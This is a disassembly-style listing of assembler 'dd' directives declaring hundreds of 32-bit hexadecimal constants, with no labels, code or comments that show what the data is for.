		dd 75C7C11h, 66DF61C0h,	6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh
		dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h
		dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h
		dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh
		dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh,	7D1BB60Fh
		dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah,	0FCC995C7h
		dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh,	95315637h
		dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h,	95B852B2h
		dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h
		dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h,	6D8F4A57h
		dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h
		dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h,	0BFF300EDh
		dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h
		dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h,	47A5669Fh
		dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h
		dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h
		dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h
		dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h,	0A0BA5F69h
		dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh,	0DBAE67EAh
		dd 704D62Ah, 8B4CA667h,	7A6AECBh, 8FD0101Eh, 55378FF1h
		dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h,	4C94548Ah
		dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h
		dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh
		dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh
		dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah
		dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h
		dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h
		dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h
		dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh,	735C810h
		dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h
		dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h,	95C97F46h
		dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh,	2B73783Ch
		dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h
		dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh,	0A40DAFC3h
		dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h,	396F0094h
		dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h
		dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h
		dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h,	0F72D3F62h
		dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h,	13F0D06h
		dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h,	8725376Bh
		dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h,	3D518DDDh
		dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h
		dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h
		dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh
		dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h,	65B7B608h
		dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h
		dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh
		dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h
		dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch,	8F33B0E6h
		dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h
		dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h,	0FE0FFD40h
		dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h
		dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h,	60C5E27Ah
		dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h
		dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh,	0D0192513h
		dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh
		dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh,	0C78EB071h
		dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh
		dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h
		dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h,	810B4911h
		dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h
		dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h,	0A6C5F312h
		dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h
		dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h,	9493BD82h
		dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh
		dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h
		dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh,	45DB0A6Ah
		dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh
		dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h
		dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh
		dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh
		dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h
		dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch
		dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h
		dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h,	0E34BE7DEh
		dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h
		dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h,	0B77780F2h
		dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh,	0AF572ECBh
		dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h
		dd 12AA945Eh, 4FF0D18Eh
		dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h,	0CB660DC1h
		dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h
		dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h,	661C9572h
		dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh
		dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h,	4BC7AFB7h
		dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h
		dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h
		dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh
		dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h
		dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh
		dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh
		dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h
		dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah
		dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h
		dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h
		dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch,	17CA90D1h
		dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah,	0F662BD3h
		dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h
		dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh
		dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h
		dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh
		dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h,	9942F871h
		dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h
		dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h,	8A33C9A6h
		dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh
		dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h
		dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h
		dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h
		dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h
		dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh
		dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h
		dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh
		dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h
		dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh
		dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h,	2A6AC259h
		dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh,	4833350Ah
		dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh,	0EA70EA67h
		dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h,	683C83CCh
		dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h
		dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h
		dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h,	91685DD8h
		dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch
		dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh
		dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h
		dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh
		dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh
		dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh,	0CA06E2A1h
		dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh
		dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh
		dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h,	0E2F83E67h
		dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h,	1917DD80h
		dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh
		dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh
		dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah
		dd 2A424FFCh, 23365E8h,	0BEA5DB45h, 3942B862h, 9BF9958h
		dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h,	3A333254h
		dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h
		dd 6D0254Ah, 60D35D6Dh,	274AA930h, 0CED921D7h, 9F8477DAh
		dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh,	0AF9F5DC5h
		dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h,	8F40295Ah
		dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h
		dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h,	0C6B87BF9h
		dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh
		dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh
		dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh
		dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h,	36D9CFD7h
		dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h,	588BEFA9h
		dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah,	3F44F6D7h
		dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh
		dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh
		dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch
		dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h,	13D35286h
		dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh
		dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h
		dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh
		dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh,	0D2CF4917h
		dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh
		dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h,	0F354F58Eh
		dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh
		dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh,	3EA4E4B2h
		dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh
		dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h
		dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h
		dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h,	5CAE8499h
		dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h
		dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh
		dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h
		dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh
		dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh
		dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh
		dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h,	6F7A982h
		dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh,	0CC9D42F3h
		dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh
		dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch
		dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh,	0D63EE341h
		dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h
		dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh,	3691D196h
		dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h,	0BCE1AB2Fh
		dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh,	0A46F835Dh
		dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h,	1375FFC0h
		dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h
		dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h
		dd 1FBC4C3Ch, 0CC22D34h
		dd 8D185B7h, 3A7EF766h,	70106193h, 45A148BEh, 0E658A799h
		dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h,	7D780757h
		dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h
		dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh
		dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h
		dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh,	8382B2FAh
		dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h,	507CF4AEh
		dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h
		dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh
		dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh
		dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h
		dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh
		dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh
		dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh
		dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h
		dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h,	0ADE9C8DAh
		dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh
		dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh
		dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah
		dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h,	0C2DBE4EBh
		dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h
		dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh
		dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh
		dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h
		dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh,	37D5D85Ah
		dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh,	8A8AB4E9h
		dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h,	2AFB6DD3h
		dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh
		dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h
		dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h,	0F3D8B677h
		dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h
		dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh,	91F5DDD7h
		dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh,	48D999FDh
		dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h
		dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h,	0B0EADD74h
		dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h
		dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h
		dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h
		dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh
		dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h
		dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh
		dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h
		dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h
		dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h
		dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch
		dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h
		dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h
		dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh
		dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah,	7BB19B6Dh
		dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h,	9E41E3CAh
		dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h
		dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh,	1DE766CFh
		dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h
		dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh,	38FB09E4h
		dd 990E6641h, 17E0128h,	30FD6B27h, 6415D850h, 515BEDD4h
		dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h
		dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h
		dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h,	4D428BBFh
		dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h
		dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah,	6F43BA9h
		dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h
		dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh
		dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h
		dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh,	4B5B18AFh
		dd 56FBEB8h, 5BDD2D69h,	772D0BB7h, 29BDFF85h, 823C52C6h
		dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h,	0B470F665h
		dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh,	0E699344Ah
		dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh,	0F792AE93h
		dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h,	8C89C399h
		dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h,	50AAFC26h
		dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h
		dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h,	70878737h
		dd 7427C6A5h, 20545EDh,	233419F9h, 0DADD7D74h, 0AAC2C099h
		dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h
		dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h
		dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh
		dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh,	0EF4DC461h
		dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh
		dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh,	7EB8010h
		dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh
		dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h,	549CC270h
		dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h
		dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h
		dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h
		dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh,	0F9C05462h
		dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh,	0AD7271C5h
		dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh,	8B281BB5h
		dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h,	0CEDA1FF2h
		dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h
		dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h
		dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh,	50085EFEh
		dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h,	755CC814h
		dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh
		dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h
		dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h
		dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h,	0C96BD6E5h
		dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h,	1DD574F7h
		dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh
		dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h
		dd 9607D556h, 8D48B5Ch,	5B144C7Dh, 0AA0E13C4h, 913B6959h
		dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh
		dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh
		dd 0CCBC0585h, 2C92DA4Dh
		dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h,	0BEBD6C49h
		dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h,	139BFC96h
		dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h
		dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh
		dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch
		dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h
		dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h
		dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h
		dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h
		dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h
		dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh,	958028AFh
		dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h,	0CFA78CBBh
		dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h,	1B8E09DEh
		dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h
		dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h
		dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h
		dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh
		dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh
		dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh
